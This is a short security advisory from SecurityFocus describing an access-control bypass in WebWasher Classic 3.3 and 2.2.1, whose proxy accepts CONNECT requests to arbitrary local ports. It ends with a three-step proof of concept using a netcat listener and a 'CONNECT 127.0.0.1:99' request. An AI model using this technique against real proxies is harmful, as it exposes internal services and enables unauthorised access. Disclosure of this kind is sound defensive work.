source: http://www.securityfocus.com/bid/12394/info

It is reported that WebWasher Classic is prone to a weakness that may allow remote attackers to connect to arbitrary ports on a vulnerable computer.

This weakness may be combined with other attacks to exploit latent vulnerabilities. An attacker can bypass access controls implemented by the application through this attack.

WebWasher Classic 3.3 and 2.2.1 are reported prone to this weakness. Other versions may be affected as well. 

The following proof of concept is available:
1) Start a netcat listener on the WebWasher system:
netcat -L -p 99 -s 127.0.0.1 < hallo.txt
2) Connect to the WebWasher proxy port (default 8080/tcp)
3) Enter command "CONNECT 127.0.0.1:99 HTTP/1.0"

As a result, content of hallo.txt will appear.